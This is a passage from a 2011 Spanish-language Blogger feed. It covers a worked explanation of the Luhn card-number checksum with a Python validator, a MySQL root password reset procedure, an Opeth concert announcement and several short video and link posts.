multiplicando los dígitos impares por dos, se excluye el dígito verificador&lt;br /&gt;Se suman los dígitos obtenidos por ejemplo si teníamos &lt;span class="Apple-style-span" style="color: lime;"&gt;5x2 = 10&lt;/span&gt;, &lt;span class="Apple-style-span" style="color: lime;"&gt;sumamos: ...+1+0+.... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Numero de tarjeta&lt;/b&gt;: &lt;span class="Apple-style-span" style="color: lime;"&gt;4 4 1 7 1 2 3 4 5 6 7 8 9 1 1 &lt;i&gt;3&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;Primer paso&lt;/b&gt;: &lt;span class="Apple-style-span" style="color: lime;"&gt;4x2 4 1x2 7 1x2 2 3x2 4 5x2 6 7x2 8 9x2 1 1x2 &lt;/span&gt;&lt;br /&gt;&lt;b&gt;Segundo paso&lt;/b&gt;: &lt;span class="Apple-style-span" style="color: lime;"&gt;8  + 4 + (2) + 7 + (2) +  2 + (6) +  4 + (1 + 0) + 6 + (1 + 4)  + 8 + (1 + 8)   + 1 + (2)  = 67&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Por ultimo&lt;/b&gt;:&amp;nbsp;A la sumatoria agregamos el dígito verificador y verificamos el modulo 10:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;67 + &lt;b&gt;&lt;i&gt;3&lt;/i&gt;&lt;/b&gt; = 70 y (70 mod 10) = 0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si el numero es divisible entre 10 significa que el numero de tarjeta es valido.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Una forma alterna: &amp;nbsp;&lt;/b&gt;&lt;br /&gt;Seria excluir el&amp;nbsp;dígito&amp;nbsp;verificador, revertir el orden del resto de los&amp;nbsp;números&amp;nbsp;y multiplicar los&amp;nbsp;números&amp;nbsp;en las posiciones impares por dos.&lt;br /&gt;Si son superiores a 9 se le resta 9.&lt;br /&gt;Luego se suma todo.&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;Numero de tarjeta&lt;/b&gt;:&amp;nbsp;&lt;span class="Apple-style-span" style="color: lime;"&gt;4 4 1 7 1 2 3 4 5 6 7 8 9 1 1 &lt;b&gt;&lt;i&gt;3&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;Primer paso&lt;/b&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;b&gt;:&lt;/b&gt; 1 1 9 8 7 6 5 4 3 2 1 7 1 4 4&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;Segundo paso&lt;/b&gt;:&amp;nbsp;&lt;span class="Apple-style-span" style="color: lime;"&gt;&amp;nbsp;1x2 1 9x2 8 7x2 6 5x2 4 3x2 2 1x2 7 1x2 4 4x2&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;Tercer paso&lt;/b&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;: 2 + 1 + (18-9) + 8 + (14-9) + 6 + (10-9) + 4 + (6) +2 + (2) + 7 +(2) +4 + (8) = 67&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;Por ultimo: &lt;/b&gt;como dio &lt;span class="Apple-style-span" style="color: lime;"&gt;67 y 67 + &lt;b&gt;&lt;i&gt;3&lt;/i&gt;&lt;/b&gt; = 70 y 70 mod 10 = 0&lt;/span&gt; otra vez podemos llegar a la&amp;nbsp;conclusión&amp;nbsp;de que el numero es valido.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;b&gt;En python el codigo resultante seria:&lt;/b&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="code"&gt;def cardLuhnChecksumIsValid(card_number):&lt;br /&gt;&amp;nbsp;&amp;nbsp;sum = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;num_digits = len(card_number)&lt;br /&gt;&amp;nbsp;&amp;nbsp;oddeven = num_digits &amp;amp; 1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;for count in range(0, num_digits):&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;digit = int(card_number[count])&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if not (( count &amp;amp; 1 ) ^ oddeven ):&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;digit = digit * 2&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if digit &amp;gt; 9:&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;digit = digit - 9&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;sum = sum + digit&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;return ( (sum % 10) == 0 )&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-1805297205679961635?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/1805297205679961635/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/12/algoritmo-de-luhn.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1805297205679961635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1805297205679961635'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/12/algoritmo-de-luhn.html' title='Anatomia del algoritmo de Luhn'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6745010934425809553</id><published>2011-11-15T09:13:00.000-08:00</published><updated>2011-11-16T03:04:42.175-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='toques'/><category scheme='http://www.blogger.com/atom/ns#' term='metal'/><category scheme='http://www.blogger.com/atom/ns#' term='Opeth'/><title type='text'>OPETH EN URUGUAY</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-2EMY4bBnqF8/TsKbqMS89uI/AAAAAAAAAbQ/a6kIXTzyF6I/s1600/imgOpeth1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="268" src="http://4.bp.blogspot.com/-2EMY4bBnqF8/TsKbqMS89uI/AAAAAAAAAbQ/a6kIXTzyF6I/s320/imgOpeth1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-yxc1skKDJ_s/TsKbzE46p6I/AAAAAAAAAbY/2uur0SChg3c/s1600/band-2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="148" src="http://4.bp.blogspot.com/-yxc1skKDJ_s/TsKbzE46p6I/AAAAAAAAAbY/2uur0SChg3c/s320/band-2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Si&amp;nbsp;escribí&amp;nbsp;el titulo con mayusculas gritandolo de la emocion, mi banda favorita en mi&amp;nbsp;país la banda de un compatriota y&amp;nbsp;todavía&amp;nbsp;cerca de mi&amp;nbsp;barrio!!!!&lt;br /&gt;La fecha ya esta confirmada en la pagina oficial de &lt;a href="http://www.opeth.com/home/tour-dates"&gt;Opeth&lt;/a&gt; y sera el 29 de Marzo del 2012 en el teatro Las Duranas (Trápani 1350 esquina Bayona).&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #6a6a6a; font-family: 'Trebuchet MS', tahoma, Arial, Helvetica, sans-serif;"&gt;&lt;h5 class="adr trebuchet margin0 " style="font-family: 'Trebuchet MS', tahoma, Arial, Helvetica, sans-serif; font-size: 9pt; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;/h5&gt;&lt;/span&gt;Un poco de background: opeth es una banda de death metal progresivo de Suecia formada por Mikael Akerfeldt Martin Mendez y Martin Lopez estos dos ultimos Uruguayos&lt;br /&gt;&lt;br /&gt;Alineacion actual de la banda:&lt;br /&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul style="line-height: 1.5em; list-style-image: url(data:image/png; list-style-type: square; margin-bottom: 0.5em; margin-left: 1.5em; margin-right: 0px; margin-top: 0.3em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;li style="margin-bottom: 0.1em;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Mikael_%C3%85kerfeldt" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; text-decoration: none;" title="Mikael Åkerfeldt"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Mikael Åkerfeldt&lt;/span&gt;&lt;/a&gt;&amp;nbsp;– lead vocals, guitars&amp;nbsp;&lt;small&gt;(1990-present)&lt;sup class="reference plainlinks nourlexpansion" id="ref_mikaelMAYH" style="font-style: normal; line-height: 1em;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Opeth#endnote_mikaelMAYH" style="background-attachment: initial !important; background-clip: initial !important; background-color: initial !important; background-image: none !important; background-origin: initial !important; background-position: initial initial !important; background-repeat: initial initial !important; color: #0645ad; padding-bottom: 0px !important; padding-left: 0px !important; padding-right: 0px !important; padding-top: 0px !important; text-decoration: none; white-space: nowrap;"&gt;&lt;b&gt;*&lt;/b&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/small&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.1em;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Martin_Mendez" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; text-decoration: none;" title="Martin Mendez"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Martin Mendez&lt;/span&gt;&lt;/a&gt;&amp;nbsp;– bass guitar&amp;nbsp;&lt;small&gt;(1997-present)&amp;nbsp;&lt;/small&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.1em;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Martin_Axenrot" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; text-decoration: none;" title="Martin Axenrot"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Martin "Axe" Axenrot&lt;/span&gt;&lt;/a&gt;&amp;nbsp;– drums, percussion&amp;nbsp;&lt;small&gt;(2006-present)&lt;/small&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.1em;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Fredrik_%C3%85kesson" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; text-decoration: none;" title="Fredrik Åkesson"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Fredrik Åkesson&lt;/span&gt;&lt;/a&gt;&amp;nbsp;– guitars, backing vocals&amp;nbsp;&lt;small&gt;(2007-present)&lt;/small&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.1em;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Joakim_Svalberg" style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: none; background-origin: initial; text-decoration: none;" title="Joakim Svalberg"&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Joakim Svalberg&lt;/span&gt;&lt;/a&gt;&amp;nbsp;– keyboards, synthesizer, backing vocals, percussion&amp;nbsp;&lt;small&gt;(2011-present)&lt;/small&gt;&lt;/li&gt;&lt;/ul&gt;Les dejo unos videitos&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;&lt;b&gt;Opeth - Harvest&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://3.gvt0.com/vi/wxaFANthouM/0.jpg" height="266" style="clear: left; float: left;" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/wxaFANthouM&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/wxaFANthouM&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Opeth - Bleak&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://1.gvt0.com/vi/3UpH3qhP_UE/0.jpg" height="266" style="clear: left; float: left;" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/3UpH3qhP_UE&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/3UpH3qhP_UE&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Opeth - When&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://2.gvt0.com/vi/2G2jlXUkJ84/0.jpg" height="266" style="clear: left; float: left;" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/2G2jlXUkJ84&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/2G2jlXUkJ84&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6745010934425809553?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6745010934425809553/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/11/opeth-en-uruguay.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6745010934425809553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6745010934425809553'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/11/opeth-en-uruguay.html' title='OPETH EN URUGUAY'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-2EMY4bBnqF8/TsKbqMS89uI/AAAAAAAAAbQ/a6kIXTzyF6I/s72-c/imgOpeth1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2390122481246088867</id><published>2011-11-02T11:09:00.000-07:00</published><updated>2011-11-02T11:17:40.873-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Cuanto pesa el Internet?</title><content type='html'>El vídeo esta buenísimo, no quiero adelantarles nada. Solo mírenlo.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://3.gvt0.com/vi/WaUzu-iksi8/0.jpg" height="266" style="clear: left; float: left;" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/WaUzu-iksi8&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/WaUzu-iksi8&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[Fuente &lt;a href="http://mundogeek.net/archivos/2011/11/02/cuanto-pesa-internet/"&gt;http://mundogeek.net/archivos/2011/11/02/cuanto-pesa-internet/&lt;/a&gt;]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2390122481246088867?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2390122481246088867/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/11/cuanto-pesa-el-internet.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2390122481246088867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2390122481246088867'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/11/cuanto-pesa-el-internet.html' title='Cuanto pesa el Internet?'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-3818950521957778583</id><published>2011-11-01T11:16:00.000-07:00</published><updated>2011-11-01T11:16:33.282-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><title type='text'>Como resetear el password de mysql</title><content type='html'>Para resetear el password de un servidor de mysql es necesario un par de pasos:&lt;br /&gt;&lt;br /&gt;Como root:&lt;br /&gt;&lt;br /&gt;Paramos el servicio de mysql:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# /etc/init.d/mysql stop&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Salida:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Stopping MySQL database server: mysqld.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Arrancamos el servicio en modo failsafe con la opcion --skip-grant-tables, esto implica que todos los permisos que estan en las tablas de grants se omitiran&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# mysqld_safe --skip-grant-tables&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Salida:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;[1] 5988&lt;br /&gt;Starting mysqld daemon with databases from /var/lib/mysql&lt;br /&gt;mysqld_safe[6025]: started&lt;/div&gt;&lt;br /&gt;Nos conectamos al servicio de mysql desde otra consola como el usuario root&lt;br /&gt;&lt;br /&gt;#mysql -u root&lt;br /&gt;&lt;br /&gt;Salida:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Welcome to the MySQL monitor.  Commands end with ; or \g.&lt;br /&gt;Your MySQL connection id is 1 to server version: 4.1.15-Debian_1-log&lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&lt;br /&gt;&lt;br /&gt;mysql&amp;gt;&lt;/div&gt;&lt;br /&gt;Y agregamos la nueva clave de root mediante la siguientes sentencias sql:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;mysql&amp;gt; use mysql;&lt;br /&gt;mysql&amp;gt; update user set password=PASSWORD("NEW-ROOT-PASSWORD") where User='root';&lt;br /&gt;mysql&amp;gt; flush privileges;&lt;br /&gt;mysql&amp;gt; quit&lt;/div&gt;&lt;br /&gt;Paramos nuevamente el servicio de mysql&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# /etc/init.d/mysql stop&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Salida:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Stopping MySQL database server: mysqld&lt;br /&gt;STOPPING server from pid file /var/run/mysqld/mysqld.pid&lt;br /&gt;mysqld_safe[6186]: ended&lt;br /&gt;&lt;br /&gt;[1]+  Done                    mysqld_safe --skip-grant-tables&lt;/div&gt;&lt;br /&gt;Volvemos a iniciar nuevamente el servicio de mysql&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# /etc/init.d/mysql start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Aqui ya podremos loguearnos con el password previamente indicado&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;# mysql -u root -p&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-3818950521957778583?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/3818950521957778583/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/11/como-resetear-el-password-de-mysql.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3818950521957778583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3818950521957778583'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/11/como-resetear-el-password-de-mysql.html' title='Como resetear el password de mysql'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-1815981657322937128</id><published>2011-10-28T10:45:00.000-07:00</published><updated>2011-10-28T10:52:12.243-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='ACTA'/><title type='text'>Digale NO al ACTA</title><content type='html'>Encontré este vídeo que se explica por si solo (ojo esta en ingles)&lt;br /&gt;&lt;br /&gt;&lt;object width="480" height="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/citzRjwk-sQ&amp;hl=en_US&amp;feature=player_embedded&amp;version=3"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/citzRjwk-sQ&amp;hl=en_US&amp;feature=player_embedded&amp;version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="480" height="320"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dígale NO al ACTA!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-1815981657322937128?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/1815981657322937128/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/10/digale-no-al-acta.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1815981657322937128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/1815981657322937128'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/10/digale-no-al-acta.html' title='Digale NO al ACTA'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-3689725241980335374</id><published>2011-10-17T16:52:00.000-07:00</published><updated>2011-10-17T16:52:25.937-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Guia de libros SciFi y fantasia.</title><content type='html'>Leyendo el blog de &lt;a href="http://mundogeek.net/archivos/2011/10/04/que-libro-leo-los-100-mejores-libros-de-fantasia-y-ciencia-ficcion"&gt;mundogeek&lt;/a&gt; me encontre con la siguiente guia que resulta muy util dependiendo de nuestros gustos para saber que leer en materia de SciFi o fantasia.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.box.net/shared/static/a6omcl2la0ivlxsn3o8m.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="193" src="http://www.box.net/shared/static/a6omcl2la0ivlxsn3o8m.jpg" width="320" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-3689725241980335374?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/3689725241980335374/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/10/guia-de-libros-scifi-y-fantasia.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3689725241980335374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/3689725241980335374'/><link rel='alternate' 